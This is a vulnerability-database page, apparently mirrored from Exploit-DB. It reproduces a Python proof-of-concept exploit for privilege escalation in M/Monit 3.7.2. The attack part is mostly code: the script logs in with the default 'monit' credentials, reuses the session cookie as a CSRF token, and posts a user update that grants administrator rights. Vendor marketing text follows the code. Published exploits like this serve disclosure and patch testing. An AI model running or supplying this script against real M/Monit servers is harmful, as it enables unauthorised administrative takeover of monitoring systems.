Lucene search
K

M/Monit 3.7.2 - Privilege Escalation

🗓️ 18 Feb 2019 00:00:00Reported by Dolev FarhiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 68 Views

M/Monit 3.7.2 Privilege Escalation via admin user updat

Code
#!/usr/env/python3

"""
	Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation
	Author: Dolev Farhi
	Vulnerable version: 2.0.151021	
 	Link: https://mmonit.com
 	Date: 2/17/2019
"""

import sys
import requests

MMONIT_URL  = 'http://ip.add.re.ss:8080'
MMONIT_USER = 'monit' # Default built in unprivileged user
MMONIT_PASS = 'monit'

s = requests.Session()

s.get(MMONIT_URL + '/')

resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS})

if 'Invalid username and/or password' in resp.text:
	print('Error logging in')  
	sys.exit(1)


zessionid = s.cookies.get_dict()['zsessionid']

headers = {
		'CSRFToken':zessionid,
}

resp = s.post(MMONIT_URL + '/admin/users/update',  
					headers=headers, 
					params={'CSRFTOKEN':zessionid,
							'fullname':'john doe',
							'password':MMONIT_USER,
							'title':'',
							'email':'',
							'phone':'',
							'mobile':'',
							'imname':'',
							'uname':MMONIT_PASS,
							'imtype':None,
							'admin':'on',
							'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C'
							})

if resp.status_code == 200:
	print('Success! You are now M/Monit admin')
else:
	print('Something went wrong')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2019 00:00Current
7.4High risk
Vulners AI Score7.4
68